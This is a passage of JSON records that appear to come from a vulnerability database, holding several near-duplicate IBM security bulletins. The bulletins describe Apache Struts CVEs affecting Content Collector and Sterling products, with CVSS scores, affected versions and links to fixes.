"description": "## Summary\n\nApache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2019-0233](<https://vulners.com/cve/CVE-2019-0233>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186699](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186699>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2019-0230](<https://vulners.com/cve/CVE-2019-0230>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186702](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186702>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nContent Collector for Email| 4.0.1.10 \nContent Collector for Microsoft SharePoint| 4.0.1.10 \nContent Collector for File Systems| 4.0.1.10 \nContent Collector for IBM Connections| 4.0.1.10 \n \n \n\n\n## Remediation/Fixes\n\n**Product** | **VRM**| **Remediation** \n---|---|--- \nContent Collector for Email| 4.0.1.10| Use Content Collector for Email 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \nContent Collector for File Systems| 4.0.1.10| Use Content Collector for File Systems 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \nContent Collector for Microsoft SharePoint| 4.0.1.10| Use Content Collector for Microsoft SharePoint 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \nContent Collector for IBM Connections| 4.0.1.10| Use Content Collector for IBM Connections 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-28T19:21:52", "type": "ibm", "title": "Security Bulletin: Apache Struts (Publicly disclosed vulnerability) affects Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230", "CVE-2019-0233"], "modified": "2020-10-28T19:21:52", "id": "20DAAA2A40C4A633F7230B8255F0CADBA6E88A77DD305EC21132BECBFF011089", "href": "https://www.ibm.com/support/pages/node/6356621", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-27T21:49:12", "description": "## Summary\n\nApache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2019-0233](<https://vulners.com/cve/CVE-2019-0233>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186699](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186699>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2019-0230](<https://vulners.com/cve/CVE-2019-0230>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186702](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186702>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nContent Collector for Email| 4.0.1.10 \nContent Collector for Microsoft SharePoint| 4.0.1.10 \nContent Collector for File Systems| 4.0.1.10 \nContent Collector for IBM Connections| 4.0.1.10 \n \n \n\n\n## Remediation/Fixes\n\n**Product** | **VRM**| **Remediation** \n---|---|--- \nContent Collector for Email| 4.0.1.10| Use Content Collector for Email 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \nContent Collector for File Systems| 4.0.1.10| Use Content Collector for File Systems 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \nContent Collector for Microsoft SharePoint| 4.0.1.10| Use Content Collector for Microsoft SharePoint 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \nContent Collector for IBM Connections| 4.0.1.10| Use Content Collector for IBM Connections 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-04T09:07:08", "type": "ibm", "title": "Security Bulletin: Apache Struts (Publicly disclosed vulnerability) affects Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230", "CVE-2019-0233"], "modified": "2020-11-04T09:07:08", "id": "60BC7D4DCC3D358CA3A091D2D1C15EE5A67539C2664E72739BD35D6406A88E4A", "href": "https://www.ibm.com/support/pages/node/6359445", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-07T18:56:43", "description": "## Summary\n\nIBM Sterling File Gateway has addressed multiple security vulnerabilities in Apache Struts\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2019-0233](<https://vulners.com/cve/CVE-2019-0233>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186699](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186699>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2019-0230](<https://vulners.com/cve/CVE-2019-0230>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186702](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186702>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Sterling File Gateway| 2.2.0.0 - 6.0.3.2 \n \n## Remediation/Fixes\n\n** Product & Version**| **APAR**| ** Remediation & Fix** \n---|---|--- \n2.2.0.0 - 2.2.6.5_2| IT34076| Apply IBM Sterling B2B Integrator version 5.2.6.5_3, 6.0.3.3 or 6.1.0.0 on [Fix Central](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm~Other%2Bsoftware&product=ibm/Other+software/Sterling+B2B+Integrator&release=All&platform=All&function=all>) \n6.0.0.0 - 6.0.3.2| IT34076| Apply IBM Sterling B2B Integrator version 6.0.3.3 or 6.1.0.0 on [Fix Central](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm~Other%2Bsoftware&product=ibm/Other+software/Sterling+B2B+Integrator&release=All&platform=All&function=all>) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-22T15:14:01", "type": "ibm", "title": "Security Bulletin: Multiple Security Vulnerabilities in Apache Struts Affect IBM Sterling File Gateway (CVE-2019-0233, CVE-2019-0230)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230", "CVE-2019-0233"], "modified": "2022-07-22T15:14:01", "id": "C6AE70E5471CDF678253E267AB7C45FA772A777F24502EE50E243BD88E300D13", "href": "https://www.ibm.com/support/pages/node/6324787", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-07T19:06:03", "description": "## Summary\n\nIBM Sterling Order Management Apache Struts vulnerablity\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2019-0233](<https://vulners.com/cve/CVE-2019-0233>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186699](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186699>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2019-0230](<https://vulners.com/cve/CVE-2019-0230>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186702](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186702>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Sterling Order Management| 10.0 \n \n\n\n## Remediation/Fixes\n\nOrder Management on premise release notes - <https://www.ibm.com/docs/en/order-management-sw/10.0?topic=software-fixes-by-fix-pack-version>\n\nFix Central Link (**FP details URL)**: \n[http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FOther+software%2FSterling+Selling+and+Fulfillment+Foundation&fixids=10.0.0.0-Sterling-SSFF-All-fp29-Installer&source=SAR](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FOther+software%2FSterling+Selling+and+Fulfillment+Foundation&fixids=10.0.0.0-Sterling-SSFF-All-fp29-Installer&source=SAR>)\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-11T01:06:34", "type": "ibm", "title": "Security Bulletin: IBM Sterling Order Management Apache Struts vulnerablity", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230", "CVE-2019-0233"], "modified": "2022-05-11T01:06:34", "id": "C22DE952FD6E1544B14AE2735F81ACAE3EF08509FC895F0AAF0AC7485A98F798", "href": "https://www.ibm.com/support/pages/node/6565845", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-27T21:49:24", "description": "## Summary\n\nApache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2019-0233](<https://vulners.com/cve/CVE-2019-0233>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186699](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186699>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2019-0230](<https://vulners.com/cve/CVE-2019-0230>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186702](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186702>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nContent Collector for Email| 4.0.1.10 \nContent Collector for Microsoft SharePoint| 4.0.1.10 \nContent Collector for File Systems| 4.0.1.10 \nContent Collector for IBM Connections| 4.0.1.10 \n \n \n\n\n## Remediation/Fixes\n\n**Product** | **VRM**| **Remediation** \n---|---|--- \nContent Collector for Email| 4.0.1.10| Use Content Collector for Email 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \nContent Collector for File Systems| 4.0.1.10| Use Content Collector for File Systems 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \nContent Collector for Microsoft SharePoint| 4.0.1.10| Use Content Collector for Microsoft SharePoint 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \nContent Collector for IBM Connections| 4.0.1.10| Use Content Collector for IBM Connections 4.0.1.10 [Interim Fix IF014](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.10-IBM-ICC-IF014&source=SAR> \"Interim Fix IF014\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-28T19:08:30", "type": "ibm", "title": "Security Bulletin: Apache Struts (Publicly disclosed vulnerability) affects Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230", "CVE-2019-0233"], "modified": "2020-10-28T19:08:30", "id": "461BBFF276D2BD07EE935B18691B56E01933360B1B42DAE8AAFFC1167BCA5486", "href": "https://www.ibm.com/support/pages/node/6356619", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-08T02:42:32", "description": "## Summary\n\nApache Struts is used by IBM Sterling Order Management as part of its web application framework used for creating Java EE web applications . We recommend upgrading to the latest supported version of Struts that was released as part of the latest FixPack 29.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2011-1772](<https://vulners.com/cve/CVE-2011-1772>) \n** DESCRIPTION: **Apache Struts is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by Xwork when generating the action name for error pages. If Dynamic Method Invocation is enabled, a remote attacker could exploit this vulnerability using the tag in a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 2.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/67354](<https://exchange.xforce.ibmcloud.com/vulnerabilities/67354>) for the current score. \nCVSS Vector: (AV:N/AC:H/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2012-0838](<https://vulners.com/cve/CVE-2012-0838>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by the evaluation of an OGNL expression during a conversion error. An attacker could exploit this vulnerability using invalid input to a field to modify run-time data and execute arbitrary code on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/73690](<https://exchange.xforce.ibmcloud.com/vulnerabilities/73690>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2014-7809](<https://vulners.com/cve/CVE-2014-7809>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by predictable tokens. By sending a specially crafted request, an attacker could exploit this vulnerability to bypass cross-site request forgery security measures. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/98963](<https://exchange.xforce.ibmcloud.com/vulnerabilities/98963>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2011-5057](<https://vulners.com/cve/CVE-2011-5057>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by the failure to block access to the session map by the org.apache.struts2.interceptor.SessionAware or org.apache.struts2.interceptor.RequestAware interfaces. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to modify the session map. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/71654](<https://exchange.xforce.ibmcloud.com/vulnerabilities/71654>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2012-4387](<https://vulners.com/cve/CVE-2012-4387>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by an error when handling request parameters. A remote attacker could exploit this vulnerability using a specially-crafted parameter name containing an OGNL expression to consume all available CPU resources. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/78183](<https://exchange.xforce.ibmcloud.com/vulnerabilities/78183>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:N/I:N/A:P) \n \n** CVEID: **[CVE-2012-1006](<https://vulners.com/cve/CVE-2012-1006>) \n** DESCRIPTION: **Apache Struts is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the editPerson.action and struts2-rest-showcase/orders scripts. A remote attacker could exploit this vulnerability using the name, lastName or clientNape parameter in a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/72888](<https://exchange.xforce.ibmcloud.com/vulnerabilities/72888>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2012-0392](<https://vulners.com/cve/CVE-2012-0392>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary commands on the system, caused by the failure to properly restrict access to static methods by the CookieInterceptor class. An attacker could exploit this vulnerability to execute arbitrary commands on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/72088](<https://exchange.xforce.ibmcloud.com/vulnerabilities/72088>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2014-0094](<https://vulners.com/cve/CVE-2014-0094>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by an error in ParametersInterceptor. An attacker could exploit this vulnerability using the class parameter to manipulate the ClassLoader used by the application server. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/92205](<https://exchange.xforce.ibmcloud.com/vulnerabilities/92205>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2019-0233](<https://vulners.com/cve/CVE-2019-0233>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186699](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186699>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2013-1965](<https://vulners.com/cve/CVE-2013-1965>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error in the Apache Struts Showcase App. An attacker could exploit this vulnerability using a specially-crafted request parameter containing an OGNL expression to inject and execute arbitrary code on the system. \nCVSS Base score: 6.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/85573](<https://exchange.xforce.ibmcloud.com/vulnerabilities/85573>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2014-0112](<https://vulners.com/cve/CVE-2014-0112>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an incomplete fix related to ParametersInterceptor and the failure to restrict access to the class parameter. An attacker could exploit this vulnerability using the class parameter to manipulate the ClassLoader used by the application server to execute arbitrary code on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/92740](<https://exchange.xforce.ibmcloud.com/vulnerabilities/92740>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2013-2134](<https://vulners.com/cve/CVE-2013-2134>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by double evaluation error when evaluating parameters as OGNL (Object-Graph Navigation Language) expressions. An attacker could exploit this vulnerability using a specially-crafted request parameter containing an OGNL expression to modify server-side objects and inject and execute arbitrary commands on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/84762](<https://exchange.xforce.ibmcloud.com/vulnerabilities/84762>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2016-3081](<https://vulners.com/cve/CVE-2016-3081>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by the passing of a malicious expression when Dynamic Method Invocation is enabled. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 5.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/112528](<https://exchange.xforce.ibmcloud.com/vulnerabilities/112528>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2014-0113](<https://vulners.com/cve/CVE-2014-0113>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an incomplete fix related to CookieInterceptor and the failure to restrict access to the getClass() method. An attacker could exploit this vulnerability using CookieInterceptor when configured to accept all cookies to manipulate the ClassLoader used by the application server to execute arbitrary code on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/92742](<https://exchange.xforce.ibmcloud.com/vulnerabilities/92742>) for the current score. \nCVSS Vector: 